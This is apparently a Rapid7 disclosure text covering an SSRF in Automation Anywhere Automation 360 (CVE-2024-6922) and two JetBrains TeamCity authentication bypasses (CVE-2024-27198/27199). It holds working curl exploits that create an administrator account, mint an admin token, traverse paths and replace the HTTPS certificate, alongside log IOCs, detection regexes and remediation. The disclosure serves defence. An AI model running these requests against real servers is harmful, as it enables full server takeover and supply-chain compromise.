  HttpURLConnection httpURLConnection = null;
  final String proxyUsername = proxyCredsToTest.getUsername();
  final String proxyPassword = proxyCredsToTest.getPassword();
  final boolean proxyCredsPassed = !proxyUsername.isEmpty();
  String CLOUD_CR_CONNECTION_FAILED =
      "Unable to connect to cloud control room.";
  try {
    try {
      httpURLConnection = ProxyUtil.getConnection(saasUrl); // [2]
      httpURLConnection.setDoOutput(true);
      httpURLConnection.setRequestMethod("POST");
      httpURLConnection.setRequestProperty("Content-Type", "application/json");
    } catch (final Exception e) {
      this.proxyAuditService.addAuditLog(
          ProxyAuditValue.PROXY_CONNECTIVITY_TEST_FAILURE,
          CLOUD_CR_CONNECTION_FAILED);

      throw new RuntimeException(e);
    }
    if (proxyCredsPassed) {
      ProxyUtil.setAuthenticator(
          saasUrl, httpURLConnection, proxyUsername, proxyPassword);
    }

    try {
      final DataOutputStream wr =
          new DataOutputStream(httpURLConnection.getOutputStream()); // [3]
      try {
        wr.writeBytes("");
        wr.flush();

        final int responseCode = httpURLConnection.getResponseCode();
        if (responseCode != 400) {
          SDSProxyCredentialServiceImpl.logger.error(responseCode);
          InputStream inputStream;
          try {
            inputStream = httpURLConnection.getInputStream();
          } catch (final IOException ioe) {
            inputStream = httpURLConnection.getErrorStream();
          }
          final BufferedReader in = new BufferedReader(
              new InputStreamReader(inputStream, StandardCharsets.UTF_8));

          try {
            final String errorMessage =
                in.lines().collect(Collectors.joining("\n"));
            CLOUD_CR_CONNECTION_FAILED =
                this.getResponseMessageFromError(errorMessage);
            SDSProxyCredentialServiceImpl.logger.error(
                CLOUD_CR_CONNECTION_FAILED + " error code: {} msg: {}",

                (Object) responseCode, (Object) errorMessage);

            this.proxyAuditService.addAuditLog(
                ProxyAuditValue.PROXY_CONNECTIVITY_TEST_FAILURE,
                CLOUD_CR_CONNECTION_FAILED);

            throw new IllegalStateException(CLOUD_CR_CONNECTION_FAILED);
          } catch (final Throwable t) {
            try {
              in.close();
            } catch (final Throwable exception) {
              t.addSuppressed(exception);
            }
            throw t;
          }
        }
        wr.close();
      } catch (final Throwable t2) {
        try {
          wr.close();
        } catch (final Throwable exception2) {
          t2.addSuppressed(exception2);
        } throw t2;
      }
    } catch (final IOException e2) {
      CLOUD_CR_CONNECTION_FAILED =
          this.getResponseMessageFromError(e2.getMessage());
      SDSProxyCredentialServiceImpl.logger.error(
          CLOUD_CR_CONNECTION_FAILED, e2);
      this.proxyAuditService.addAuditLog(
          ProxyAuditValue.PROXY_CONNECTIVITY_TEST_FAILURE, e2.getMessage());
      throw new IllegalStateException(CLOUD_CR_CONNECTION_FAILED);
    }
    this.proxyAuditService.addAuditLog(
        ProxyAuditValue.PROXY_CONNECTIVITY_TEST_SUCCESS, "");
  } finally {
    httpURLConnection.disconnect();
  }
}

As outlined in the code, the attacker-controlled host name has the HTTPS scheme prepended and the /v1/authentication path appended. However, a hash symbol can be used to escape the existing path, and the attacker can specify an arbitrary basic authentication string, port, and set of URL parameters for the resulting POST request. The unauthenticated request is demonstrated below, targeting a webhook.site URL for easy access logging.

$ curl -vvv 'http://192.166.15.138/v1/proxy/test' -d '{"saasUrl":"www.webhook.site/fa6f3803-7bd4-4fdb-b2ac-103fe10aa56f?param=one#"}'
*   Trying 192.166.15.138:80...
* Connected to 192.166.15.138 (192.166.15.138) port 80 (#0)
> POST /v1/proxy/test HTTP/1.1
> Host: 192.166.15.138
> User-Agent: curl/7.81.0
> Accept: */*
> Content-Length: 72
> Content-Type: application/x-www-form-urlencoded
> 
* Mark bundle as not supporting multiuse
< HTTP/1.1 400 Bad Request
< Cache-Control: no-cache, no-store, max-age=0, must-revalidate
< Content-Security-Policy: default-src 'self' http://127.0.0.1:22113/ https://cdn.pendo.io/ https://app.pendo.io/ https://data.pendo.io/ https://pendo-static-5673999629942784.storage.googleapis.com/ https://pendo-io-static.storage.googleapis.com/  https://iph.zoominsoftware.io/ https://automationanywhere-be-dev.zoominsoftware.io/ https://automationanywhere-staging.zoominsoftware.io https://docs.automationanywhere.com/ https://automationanywhere-be-prod.automationanywhere.com ; frame-src 'self' https://*.youtube.com/ https://*.wistia.net/ https://*.wistia.com https://*.zoominsoftware.io https://*.automationanywhere.com/ https://cdn.pendo.io/ https://app.pendo.io/ https://data.pendo.io/ https://pendo-static-5673999629942784.storage.googleapis.com/ https://pendo-io-static.storage.googleapis.com/
< Content-Type: application/json
< Date: Thu, 23 May 2024 00:05:20 GMT
< Expires: 0
< Pragma: no-cache
< Referrer-Policy: same-origin
< Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
< X-Content-Type-Options: nosniff
< X-Frame-Options: SAMEORIGIN
< X-Xss-Protection: 1; mode=block
< Transfer-Encoding: chunked
< 
* Connection #0 to host 192.166.15.138 left intact
{"message":"Unable to connect to cloud control room."}

The listening webhook.site HTTPS server then receives a POST request from the Automation 360 server:

CVE-2024-6922: Automation Anywhere Automation 360 Server-Side Request Forgery

Remediation

Automation Anywhere indicated to Rapid7 that this issue had been fixed in version 33 of the product even before Rapid7 reported the issue to them. The vendor listed the affected versions as v21 to v32.

Automation Anywhere has indicated to Rapid7 that per the release notes, this issue has been fixed in Automation 360 v.33 that was available on June 17, 2024. The vendor reinforced that customers on older versions should upgrade to Automation 360 v.33 to get the vulnerability resolved. More information is available on the A360 Release Notes portal at https://docs.automationanywhere.com/bundle/enterprise-v2019/page/v33-release-automation-workspace.html#d468396e1627

Rapid7 Customers

InsightVM and Nexpose customers will be able to assess their exposure to CVE-2024-6922 with a vulnerability check expected to be available in today’s (Friday, July 26) content release.

Disclosure Timeline

June 17, 2024: Rapid7 makes initial contact with Automation Anywhere
June 21, 2024: Automation Anywhere confirms contact mechanism for vulnerability disclosure
June 24, 2024: Rapid7 provides Automation Anywhere with technical details.
July 1, 2024: Automation Anywhere confirmed the Rapid7 findings and found that the vulnerable code had coincidentally been removed from v33 prior to Rapid7 outreach.
July 2, 2024: Rapid7 requests additional information on affected product versions and remediation guidance
July 18, 2024: Automation Anywhere confirms affected product versions and shares plan to disclose the vulnerability to customers via release notes as of July 26, 2024. Rapid7 reserves CVE-2024-6922.
July 25, 2024: Rapid7 and Automation Anywhere confirm remediation guidance and coordinated disclosure timing.
July 26, 2024: This disclosure.

CVE-2024-27198 and CVE-2024-27199: JetBrains TeamCity Multiple Authentication Bypass Vulnerabilities (FIXED)

Post Syndicated from Rapid7 original https://blog.rapid7.com/2024/03/04/etr-cve-2024-27198-and-cve-2024-27199-jetbrains-teamcity-multiple-authentication-bypass-vulnerabilities-fixed/

Overview

CVE-2024-27198 and CVE-2024-27199: JetBrains TeamCity Multiple Authentication Bypass Vulnerabilities (FIXED)

In February 2024, Rapid7’s vulnerability research team identified two new vulnerabilities affecting JetBrains TeamCity CI/CD server:

  • CVE-2024-27198 is an authentication bypass vulnerability in the web component of TeamCity that arises from an alternative path issue (CWE-288) and has a CVSS base score of 9.8 (Critical).
  • CVE-2024-27199 is an authentication bypass vulnerability in the web component of TeamCity that arises from a path traversal issue (CWE-22) and has a CVSS base score of 7.3 (High).

On March 3, JetBrains released a fixed version of TeamCity without notifying Rapid7 that fixes had been implemented and were generally available. When Rapid7 contacted JetBrains about their uncoordinated vulnerability disclosure, JetBrains published an advisory on the vulnerabilities without responding to Rapid7 on the disclosure timeline. JetBrains later responded to indicate that CVEs had been published.

These issues were discovered by Stephen Fewer, Principal Security Researcher at Rapid7, and are being disclosed in accordance with Rapid7’s vulnerability disclosure policy.

Impact

Both vulnerabilities are authentication bypass vulnerabilities, the most severe of which, CVE-2024-27198, allows for a complete compromise of a vulnerable TeamCity server by a remote unauthenticated attacker, including unauthenticated RCE, as demonstrated via our exploit:
CVE-2024-27198 and CVE-2024-27199: JetBrains TeamCity Multiple Authentication Bypass Vulnerabilities (FIXED)

Compromising a TeamCity server allows an attacker full control over all TeamCity projects, builds, agents and artifacts, and as such is a suitable vector to position an attacker to perform a supply chain attack.

The second vulnerability, CVE-2024-27199, allows for a limited amount of information disclosure and a limited amount of system modification, including the ability for an unauthenticated attacker to replace the HTTPS certificate in a vulnerable TeamCity server with a certificate of the attacker’s choosing.

Remediation

On March 3, 2024, JetBrains released TeamCity 2023.11.4 which remediates both CVE-2024-27198 and CVE-2024-27199. Both of these vulnerabilities affect all versions of TeamCity prior to 2023.11.4.

For more details on how to upgrade, please read the JetBrains release blog. Rapid7 recommends that TeamCity customers update their servers immediately, without waiting for a regular patch cycle to occur. We have included sample indicators of compromise (IOCs) along with vulnerability details below.

Analysis

CVE-2024-27198

Overview

TeamCity exposes a web server over HTTP port 8111 by default (and can optionally be configured to run over HTTPS). An attacker can craft a URL such that all authentication checks are avoided, allowing endpoints that are intended to be authenticated to be accessed directly by an unauthenticated attacker. A remote unauthenticated attacker can leverage this to take complete control of a vulnerable TeamCity server.

Analysis

The vulnerability lies in how the jetbrains.buildServer.controllers.BaseController class handles certain requests. This class is implemented in the web-openapi.jar library. We can see below, when a request is being serviced by the handleRequestInternal method in the BaseController class, if the request is not being redirected (i.e. the handler has not issued an HTTP 302 redirect), then the updateViewIfRequestHasJspParameter method will be called.

public abstract class BaseController extends AbstractController {
    
    // ...snip...
    
    public final ModelAndView handleRequestInternal(HttpServletRequest request, HttpServletResponse response) throws Exception {
        try {
            ModelAndView modelAndView = this.doHandle(request, response);
            if (modelAndView != null) {
                if (modelAndView.getView() instanceof RedirectView) {
                    modelAndView.getModel().clear();
                } else {
                    this.updateViewIfRequestHasJspParameter(request, modelAndView);
                }
            }
            // ...snip...

In the updateViewIfRequestHasJspParameter method listed below, we can see the variable isControllerRequestWithViewName will be set to true if both the current modelAndView has a name, and the servlet path of the current request does not end in .jsp.

We can satisfy this by requesting a URI from the server that will generate an HTTP 404 response. Such a request will generate a servlet path of /404.html. We can note that this ends in .html and not .jsp, so the isControllerRequestWithViewName will be true.

Next we can see the method getJspFromRequest will be called, and the result of this call will be passed to the Java Spring frameworks ModelAndView.setViewName method. The result of doing this allows the attacker to change the URL being handled by the DispatcherServlet, thus allowing an attacker to call an arbitrary endpoint if they can control the contents of the jspFromRequest variable.

private void updateViewIfRequestHasJspParameter(@NotNull HttpServletRequest request, @NotNull ModelAndView modelAndView) {

    boolean isControllerRequestWithViewName = modelAndView.getViewName() != null && !request.getServletPath().endsWith(".jsp");
        
    String jspFromRequest = this.getJspFromRequest(request);
        
    if (isControllerRequestWithViewName && StringUtil.isNotEmpty(jspFromRequest) && !modelAndView.getViewName().equals(jspFromRequest)) {
        modelAndView.setViewName(jspFromRequest);
    }
}

To understand how an attacker can specify an arbitrary endpoint, we can inspect the getJspFromRequest method below.

This method will retrieve the string value of an HTTP parameter named jsp from the current request. This string value will be tested to ensure it both ends with .jsp and does not contain the restricted path segment admin/.

protected String getJspFromRequest(@NotNull HttpServletRequest request) {
    String jspFromRequest = request.getParameter("jsp");
        
    return jspFromRequest == null || jspFromRequest.endsWith(".jsp") && !jspFromRequest.contains("admin/") ? jspFromRequest : null;
}

Triggering the vulnerability

To see how to leverage this vulnerability, we can target an example endpoint. The /app/rest/server endpoint will return the current server version information. If we directly request this endpoint, the request will fail as the request is unauthenticated.

C:\Users\sfewer>curl -ik http://172.29.228.65:8111/app/rest/server
HTTP/1.1 401
TeamCity-Node-Id: MAIN_SERVER
WWW-Authenticate: Basic realm="TeamCity"
WWW-Authenticate: Bearer realm="TeamCity"
Cache-Control: no-store
Content-Type: text/plain;charset=UTF-8
Transfer-Encoding: chunked
Date: Wed, 14 Feb 2024 17:20:05 GMT

Authentication required
To login manually go to "/login.html" page

To leverage this vulnerability to successfully call the authenticated endpoint /app/rest/server, an unauthenticated attacker must satisfy the following three requirements during an HTTP(S) request:

  • Request an unauthenticated resource that generates a 404 response. This can be achieved by requesting a non existent resource, e.g.:
    • /hax
  • Pass an HTTP query parameter named jsp containing the value of an authenticated URI path. This can be achieved by appending an HTTP query string, e.g.:
    • ?jsp=/app/rest/server
  • Ensure the arbitrary URI path ends with .jsp. This can be achieved by appending an HTTP path parameter segment, e.g.:
    • ;.jsp

Combining the above requirements, the attacker’s URI path becomes:

/hax?jsp=/app/rest/server;.jsp

By using the authentication bypass vulnerability, we can successfully call this authenticated endpoint with no authentication.

C:\Users\sfewer>curl -ik http://172.29.228.65:8111/hax?jsp=/app/rest/server;.jsp
HTTP/1.1 200
TeamCity-Node-Id: MAIN_SERVER
Cache-Control: no-store
Content-Type: application/xml;charset=ISO-8859-1
Content-Language: en-IE
Content-Length: 794
Date: Wed, 14 Feb 2024 17:24:59 GMT

<?xml version="1.0" encoding="UTF-8" standalone="yes"?><server version="2023.11.3 (build 147512)" versionMajor="2023" versionMinor="11" startTime="20240212T021131-0800" currentTime="20240214T092459-0800" buildNumber="147512" buildDate="20240129T000000-0800" internalId="cfb27466-d6d6-4bc8-a398-8b777182d653" role="main_node" webUrl="http://localhost:8111" artifactsUrl=""><projects href="/app/rest/projects"/><vcsRoots href="/app/rest/vcs-roots"/><builds href="/app/rest/builds"/><users href="/app/rest/users"/><userGroups href="/app/rest/userGroups"/><agents href="/app/rest/agents"/><buildQueue href="/app/rest/buildQueue"/><agentPools href="/app/rest/agentPools"/><investigations href="/app/rest/investigations"/><mutes href="/app/rest/mutes"/><nodes href="/app/rest/server/nodes"/></server>

If we attach a debugger, we can see the call to ModelAndView.setViewName occurring for the authenticated endpoint specified by the attacker in the jspFromRequest variable.

CVE-2024-27198 and CVE-2024-27199: JetBrains TeamCity Multiple Authentication Bypass Vulnerabilities (FIXED)

Exploitation

An attacker can exploit this authentication bypass vulnerability in several ways to take control of a vulnerable TeamCity server, and by association, all projects, builds, agents and artifacts associated with the server.

For example, an unauthenticated attacker can create a new administrator user with a password the attacker controls, by targeting the /app/rest/users REST API endpoint:

C:\Users\sfewer>curl -ik http://172.29.228.65:8111/hax?jsp=/app/rest/users;.jsp -X POST -H "Content-Type: application/json" --data "{\"username\": \"haxor\", \"password\": \"haxor\", \"email\": \"haxor\", \"roles\": {\"role\": [{\"roleId\": \"SYSTEM_ADMIN\", \"scope\": \"g\"}]}}"
HTTP/1.1 200
TeamCity-Node-Id: MAIN_SERVER
Cache-Control: no-store
Content-Type: application/xml;charset=ISO-8859-1
Content-Language: en-IE
Content-Length: 661
Date: Wed, 14 Feb 2024 17:33:32 GMT

<?xml version="1.0" encoding="UTF-8" standalone="yes"?><user username="haxor" id="18" email="haxor" href="/app/rest/users/id:18"><properties count="3" href="/app/rest/users/id:18/properties"><property name="addTriggeredBuildToFavorites" value="true"/><property name="plugin:vcs:anyVcs:anyVcsRoot" value="haxor"/><property name="teamcity.server.buildNumber" value="147512"/></properties><roles><role roleId="SYSTEM_ADMIN" scope="g" href="/app/rest/users/id:18/roles/SYSTEM_ADMIN/g"/></roles><groups count="1"><group key="ALL_USERS_GROUP" name="All Users" href="/app/rest/userGroups/key:ALL_USERS_GROUP" description="Contains all TeamCity users"/></groups></user>

We can verify the malicious administrator user has been created by viewing the TeamCity users in the web interface:

CVE-2024-27198 and CVE-2024-27199: JetBrains TeamCity Multiple Authentication Bypass Vulnerabilities (FIXED)

Alternatively, an unauthenticated attacker can generate a new administrator access token with the following request:

C:\Users\sfewer>curl -ik http://172.29.228.65:8111/hax?jsp=/app/rest/users/id:1/tokens/HaxorToken;.jsp -X POST
HTTP/1.1 200
TeamCity-Node-Id: MAIN_SERVER
Cache-Control: no-store
Content-Type: application/xml;charset=ISO-8859-1
Content-Language: en-IE
Content-Length: 241
Date: Wed, 14 Feb 2024 17:37:26 GMT

<?xml version="1.0" encoding="UTF-8" standalone="yes"?><token name="HaxorToken" creationTime="2024-02-14T09:37:26.726-08:00" value="eyJ0eXAiOiAiVENWMiJ9.RzR2cHVjTGRUN28yRWpiM0Z4R2xrZjZfTTdj.ZWNiMjJlYWMtMjJhZC00NzIwLWI4OTQtMzRkM2NkNzQ3NmFl"/>

We can verify the malicious access token has been created by viewing the TeamCity tokens in the web interface:

CVE-2024-27198 and CVE-2024-27199: JetBrains TeamCity Multiple Authentication Bypass Vulnerabilities (FIXED)

By either creating a new administrator user account, or by generating an administrator access token, the attacker now has full control over the target TeamCity server.

IOCs

By default, the TeamCity log files are located in C:\TeamCity\logs\ on Windows and /opt/TeamCity/logs/ on Linux.

Access Token Creation

Leveraging this vulnerability to access resources may leave an entry in the teamcity-javaLogging log file (e.g. teamcity-javaLogging-2024-02-26.log) similar to the following:

26-Feb-2024 07:11:12.794 WARNING [http-nio-8111-exec-1] com.sun.jersey.spi.container.servlet.WebComponent.filterFormParameters A servlet request, to the URI http://192.168.86.68:8111/app/rest/users/id:1/tokens/2vrflIqo;.jsp?jsp=/app/rest/users/id%3a1/tokens/2vrflIqo%3b.jsp, contains form parameters in the request body but the request body has been consumed by the servlet or a servlet filter accessing the request parameters. Only resource methods using @FormParam will work as expected. Resource methods consuming the request body by other means will not work as expected.

In the above example, the attacker leveraged the vulnerability to access the REST API and create a new administrator access token. In doing so, this log file now contains an entry detailing the URL as processed after the call to ModelAndView.setViewName. Note this logged URL is the rewritten URL and is not the same URL the attacker requested. We can see the URL contains the string ;.jsp as well as a query parameter jsp= which is indicative of the vulnerability. Note, the attacker can include arbitrary characters before the .jsp part, e.g. ;XXX.jsp, and there may be other query parameters present, and in any order, e.g. foo=XXX&jsp=. With this in mind, an example of a more complex logged malicious request is:

27-Feb-2024 07:15:45.191 WARNING [TC: 07:15:45 Processing REST request; http-nio-80-exec-5] com.sun.jersey.spi.container.servlet.WebComponent.filterFormParameters A servlet request, to the URI http://192.168.86.50/app/rest/users/id:1/tokens/wo4qEmUZ;O.jsp?WkBR=OcPj9HbdUcKxH3O&pKLaohp7=d0jMHTumGred&jsp=/app/rest/users/id%3a1/tokens/wo4qEmUZ%3bO.jsp&ja7U2Bd=nZLi6Ni, contains form parameters in the request body but the request body has been consumed by the servlet or a servlet filter accessing the request parameters. Only resource methods using @FormParam will work as expected. Resource methods consuming the request body by other means will not work as expected.

A suitable regular expression to match the rewritten URI in the teamcity-javaLogging log file would be ;\S*\.jsp\?\S*jsp= while the regular expression \/\S*\?\S*jsp=\S*;\.jsp will match against both the rewritten URI and the attacker’s original URI (Although it is unknown where the original URI will be logged to).

If the attacker has leveraged the vulnerability to create an access token, the token may have been deleted. Both the teamcity-server.log and the teamcity-activities.log will contain the below line to indicate this. We can see the token name being deleted 2vrflIqo (A random string chosen by the attacker) corresponds to the token name that was created, as shown in the warning message in the teamcity-javaLogging log file.

[2024-02-26 07:11:25,702]   INFO - s.buildServer.ACTIVITIES.AUDIT - delete_token_for_user: Deleted token "2vrflIqo" for user "user with id=1" by "user with id=1"
Malicious Plugin Upload

If an attacker uploaded a malicious plugin in order to achieve arbitrary code execution, both the teamcity-server.log and the teamcity-activities.log may contain the following lines, indicating a plugin was uploaded and subsequently deleted in quick succession, and authenticated with the same user account as that of the initial access token creation (e.g. ID 1).

[2024-02-26 07:11:13,304]   INFO - s.buildServer.ACTIVITIES.AUDIT - plugin_uploaded: Plugin "WYyVNA6r" was updated by "user with id=1" with comment "Plugin was uploaded to C:\ProgramData\JetBrains\TeamCity\plugins\WYyVNA6r.zip"
[2024-02-26 07:11:24,506]   INFO - s.buildServer.ACTIVITIES.AUDIT - plugin_disable: Plugin "WYyVNA6r" was disabled by "user with id=1"
[2024-02-26 07:11:25,683]   INFO - s.buildServer.ACTIVITIES.AUDIT - plugin_deleted: Plugin "WYyVNA6r" was deleted by "user with id=1" with comment "Plugin was deleted from C:\ProgramData\JetBrains\TeamCity\plugins\WYyVNA6r.zip"

The malicious plugin uploaded by the attacker may have artifacts left in the TeamCity Catalina folder, e.g. C:\TeamCity\work\Catalina\localhost\ROOT\TC_147512_WYyVNA6r\ on Windows or /opt/TeamCity/work/Catalina/localhost/ROOT/TC_147512_WYyVNA6r/ on Linux. The plugin name WYyVNA6r has formed part of the folder name TC_147512_WYyVNA6r. The number 147512 is the build number of the TeamCity server.

There may be plugin artifacts remaining in the webapps plugin folder, e.g. C:\TeamCity\webapps\ROOT\plugins\WYyVNA6r\ on Windows or /opt/TeamCity/webapps/ROOT/plugins/WYyVNA6r/ on Linux.

There may be artifacts remaining in the TeamCity data directory, for example C:\ProgramData\JetBrains\TeamCity\system\caches\plugins.unpacked\WYyVNA6r\ on Windows, or /home/teamcity/.BuildServer/system/caches/plugins.unpacked/WYyVNA6r/ on Linux.

A plugin must be disabled before it can be deleted. Disabling a plugin leaves a permanent entry in the disabled-plugins.xml configuration file (e.g. C:\ProgramData\JetBrains\TeamCity\config\disabled-plugins.xml on Windows):

<?xml version="1.0" encoding="UTF-8"?>
<disabled-plugins>

  <disabled-plugin name="WYyVNA6r" />

</disabled-plugins>

The attacker may choose the name of both the access token they create, and the malicious plugin they upload. The example above used the random string 2vrflIqo for the access token, and WYyVNA6r for the plugin. The attacker may have successfully deleted all artifacts from their malicious plugin.

The TeamCity administration console has an Audit page that will display activity that has occurred on the server. The deletion of an access token, and the uploading and deletion of a plugin will be captured in the audit log, for example:
CVE-2024-27198 and CVE-2024-27199: JetBrains TeamCity Multiple Authentication Bypass Vulnerabilities (FIXED)

This audit log is stored in the internal database data file buildserver.data (e.g. C:\ProgramData\JetBrains\TeamCity\system\buildserver.data on Windows or /home/teamcity/.BuildServer/system/buildserver.data on Linux).

Administrator Account Creation

To identify unexpected user accounts that may have been created, inspect the TeamCity administration console’s Audit page for newly created accounts.
CVE-2024-27198 and CVE-2024-27199: JetBrains TeamCity Multiple Authentication Bypass Vulnerabilities (FIXED)

Both the teamcity-server.log and the teamcity-activities.log may contain entries indicating a new user account has been created. The information logged is not enough to determine if the created user account is malicious or benign.

[2024-02-26 07:45:06,962]   INFO - tbrains.buildServer.ACTIVITIES - New user created: user with id=23
[2024-02-26 07:45:06,962]   INFO - s.buildServer.ACTIVITIES.AUDIT - user_create: User "user with id=23" was created by "user with id=23"

CVE-2024-27199

Overview

We have also identified a second authentication bypass vulnerability in the TeamCity web server. This authentication bypass allows for a limited number of authenticated endpoints to be reached without authentication. An unauthenticated attacker can leverage this vulnerability to both modify a limited number of system settings on the server, as well as disclose a limited amount of sensitive information from the server.

Analysis

Several paths have been identified that are vulnerable to a path traversal issue that allows a limited number of authenticated endpoints to be successfully reached by an unauthenticated attacker. These paths include, but may not be limited to:

  • /res/
  • /update/
  • /.well-known/acme-challenge/

It was discovered that by leveraging the above paths, an attacker can use double dot path segments to traverse to an alternative endpoint, and no authentication checks will be enforced. We were able to successfully reach a limited number of JSP pages which leaked information, and several servlet endpoints that both leaked information and allowed for modification of system settings. These endpoints were:

  • /app/availableRunners
  • /app/https/settings/setPort
  • /app/https/settings/certificateInfo
  • /app/https/settings/defaultHttpsPort
  • /app/https/settings/fetchFromAcme
  • /app/https/settings/removeCertificate
  • /app/https/settings/uploadCertificate
  • /app/https/settings/termsOfService
  • /app/https/settings/triggerAcmeChallenge
  • /app/https/settings/cancelAcmeChallenge
  • /app/https/settings/getAcmeOrder
  • /app/https/settings/setRedirectStrategy
  • /app/pipeline
  • /app/oauth/space/createBuild.html

For example, an unauthenticated attacker should not be able to reach the /admin/diagnostic.jsp endpoint, as seen below:

C:\Users\sfewer>curl -ik --path-as-is http://172.29.228.65:8111/admin/diagnostic.jsp
HTTP/1.1 401
TeamCity-Node-Id: MAIN_SERVER
WWW-Authenticate: Basic realm="TeamCity"
WWW-Authenticate: Bearer realm="TeamCity"
Cache-Control: no-store
Content-Type: text/plain;charset=UTF-8
Transfer-Encoding: chunked
Date: Thu, 15 Feb 2024 13:00:40 GMT

Authentication required
To login manually go to "/login.html" page

However, by using the path /res/../admin/diagnostic.jsp, an unauthenticated attacker can successfully reach this endpoint, disclosing some information about the TeamCity installation. Note, the output below was edited for brevity.

C:\Users\sfewer>curl -ik --path-as-is http://172.29.228.65:8111/res/../admin/diagnostic.jsp
HTTP/1.1 200
TeamCity-Node-Id: MAIN_SERVER

...snip...

          <div>Java version: 17.0.7</div>
          <div>Java VM info: OpenJDK 64-Bit Server VM</div>
          <div>Java Home path: c:\TeamCity\jre</div>

            <div>Server: Apache Tomcat/9.0.83</div>

          <div>JVM arguments:
            <pre style="white-space: pre-wrap;">--add-opens=jdk.management/com.sun.management.internal=ALL-UNNAMED -XX:+IgnoreUnrecognizedVMOptions -XX:ReservedCodeCacheSize=640M --add-opens=java.base/java.lang=ALL-UNNAMED --add-opens=java.base/java.io=ALL-UNNAMED --add-opens=java.base/java.util=ALL-UNNAMED --add-opens=java.base/java.util.concurrent=ALL-UNNAMED --add-opens=java.rmi/sun.rmi.transport=ALL-UNNAMED -Djava.util.logging.config.file=c:\TeamCity\bin\..\conf\logging.properties -Djava.util.logging.manager=org.apache.juli.ClassLoaderLogManager -Djdk.tls.ephemeralDHKeySize=2048 -Djava.protocol.handler.pkgs=org.apache.catalina.webresources -agentlib:jdwp=transport=dt_socket,server=y,address=4444,suspend=n -Xmx1024m -Xrs -Dteamcity.configuration.path=../conf/teamcity-startup.properties -Dlog4j2.configurationFile=file:../conf/teamcity-server-log4j.xml -Dteamcity_logs=c:\TeamCity\bin\..\logs -Dignore.endorsed.dirs= -Dcatalina.base=c:\TeamCity\bin\.. -Dcatalina.home=c:\TeamCity\bin\.. -Djava.io.tmpdir=c:\TeamCity\bin\..\temp </pre>
          </div>

A request to the endpoint /.well-known/acme-challenge/../../admin/diagnostic.jsp or /update/../admin/diagnostic.jsp will also achieve the same results.

Another interesting endpoint to target is the /app/https/settings/uploadCertificate endpoint. This allows an unauthenticated attacker to upload a new HTTPS certificate of the attacker’s choosing to the target TeamCity server, as well as change the port number the HTTPS service listens on. For example, we can generate a self-signed certificate with the following commands:

C:\Users\sfewer\Desktop>openssl ecparam -name prime256v1 -genkey -noout -out private-eckey.pem

C:\Users\sfewer\Desktop>openssl ec -in private-eckey.pem -pubout -out public-key.pem
read EC key
writing EC key

C:\Users\sfewer\Desktop>openssl req -new -x509 -key private-eckey.pem -out cert.pem -days 360
You are about to be asked to enter information that will be incorporated
into your certificate request.
What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank
For some fields there will be a default value,
If you enter '.', the field will be left blank.
-----
Country Name (2 letter code) [AU]:US
State or Province Name (full name) [Some-State]:HaxorState
Locality Name (eg, city) []:HaxorCity
Organization Name (eg, company) [Internet Widgits Pty Ltd]:HaxorOrganization
Organizational Unit Name (eg, section) []:HaxorUnit
Common Name (e.g. server FQDN or YOUR name) []:target.server.com
Email Address []:

C:\Users\sfewer\Desktop>openssl pkcs8 -topk8 -nocrypt -in private-eckey.pem -out hax.key

An unauthenticated attacker can perform a POST request with a path of /res/../app/https/settings/uploadCertificate in order to upload a new HTTPS certificate.

C:\Users\Administrator\Desktop>curl -vk --path-as-is http://172.29.228.65:8111/res/../app/https/settings/uploadCertificate -X POST -H "Accept: application/json" -F [email protected] -F [email protected] -F port=4141
Note: Unnecessary use of -X or --request, POST is already inferred.
*   Trying 172.29.228.65:8111...
* Connected to 172.29.228.65 (172.29.228.65) port 8111 (#0)
> POST /res/../app/https/settings/uploadCertificate HTTP/1.1
> Host: 172.29.228.65:8111
> User-Agent: curl/7.83.1
> Accept: application/json
> Content-Length: 1591
> Content-Type: multipart/form-data; boundary=------------------------cdb2a7dd5322fcf4
>
* We are completely uploaded and fine
* Mark bundle as not supporting multiuse
< HTTP/1.1 200
< X-Frame-Options: sameorigin
< Strict-Transport-Security: max-age=31536000;
< X-Content-Type-Options: nosniff
< X-XSS-Protection: 1; mode=block
< Referrer-Policy: origin-when-cross-origin
< mixed-content: noupgrade
< TeamCity-Node-Id: MAIN_SERVER
< Content-Type: application/json
< Content-Length: 0
< Date: Thu, 15 Feb 2024 14:06:02 GMT
<
* Connection #0 to host 172.29.228.65 left intact

If we log into the TeamCity server, we can verify the HTTPS certificate and port number have been modified.
CVE-2024-27198 and CVE-2024-27199: JetBrains TeamCity Multiple Authentication Bypass Vulnerabilities (FIXED)

An attacker could perform a denial of service against the TeamCity server by either changing the HTTPS port number to a value not expected by clients, or by uploading a certificate that will fail client side validation. Alternatively, an attacker with a suitable position on the network may be able to perform either eavesdropping or a man-in-the-middle attack on client connections, if the certificate the attacker uploads (and has a private key for) will be trusted by the clients.

Rapid7 customers

InsightVM and Nexpose customers will be able to assess their exposure to CVE-2024-27198 and CVE-2024-27199 with vulnerability checks expected to be available in the March 4 content release.

Timeline

  • February 15, 2024: Rapid7 makes initial contact with JetBrains via email.
  • February 19, 2024: Rapid7 makes a second contact attempt to JetBrains via email. JetBrains acknowledges outreach.
  • February 20, 2024: Rapid7 provides JetBrains with a technical analysis of the issues; JetBrains confirms they were able to reproduce the issues the same day.
  • February 21, 2024: JetBrains reserves CVE-2024-27198 and CVE-2024-27199. JetBrains suggests releasing patches privately before a public disclosure of the issues. Rapid7 responds, emphasizing the importance of coordinated disclosure and our stance against silently patching vulnerabilities.
  • February 22, 2024: JetBrains requests additional information on what Rapid7 considers to be silent patching.
  • February 23, 2024: Rapid7 reiterates our disclosure policy, sends JetBrains our material on silent patching. Rapid7 requests additional information about the affected product version numbers and additional mitigation guidance.
  • March 1, 2024: Rapid7 reiterates the previous request for additional information about affected product versions and vendor mitigation guidance.
  • March 1, 2024: JetBrains confirms which CVEs will be assigned to the vulnerabilities. JetBrains says they are “still investigating the issue, its root cause, and the affected versions” and that they hope to have updates for Rapid7 “next week.”
